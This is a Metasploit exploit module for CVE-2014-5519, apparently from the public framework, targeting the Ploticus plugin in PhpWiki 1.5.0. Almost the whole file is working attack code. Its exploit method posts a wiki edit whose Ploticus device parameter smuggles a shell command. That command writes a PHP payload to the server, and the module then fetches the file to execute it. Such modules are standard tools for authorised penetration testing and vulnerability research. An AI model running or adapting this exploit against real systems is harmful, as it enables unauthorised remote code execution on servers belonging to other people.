##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Phpwiki Ploticus Remote Code Execution',
      'Description'    => %q{
        The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary
        code via command injection.
      },
      'Author'         =>
        [
          'Benjamin Harris',              # Discovery and POC
          'us3r777 <us3r777[at]n0b0.so>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-5519' ],
          [ 'OSVDB', '110576' ],
          [ 'EDB', '34451'],
          [ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation
          [ 'URL', 'https://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public
        ],
      'Payload'	       =>
        {
          'BadChars'   => "\x00",
        },
      'Platform'       => 'php',
      'Arch'		       => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2014-09-11'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) ,
      ])
  end

  def exploit
    uri =  target_uri.path

    payload_name = "#{rand_text_alpha(8)}.php"
    php_payload = get_write_exec_payload(:unlink_self=>true)

    res = send_request_cgi({
      'uri'      => normalize_uri(uri + '/index.php/HeIp'),
      'method'    => 'POST',
      'vars_post' =>
      {
        'pagename'      => 'HeIp',
        'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>",
        'edit[preview]' => 'Preview',
        'action'        => 'edit'
      }
    })

    if not res or res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    upload_uri = normalize_uri(uri + "/" + payload_name)
    print_status("Executing payload #{payload_name}")
    send_request_raw({
      'uri'    => upload_uri,
      'method' => 'GET'
    })
  end
end
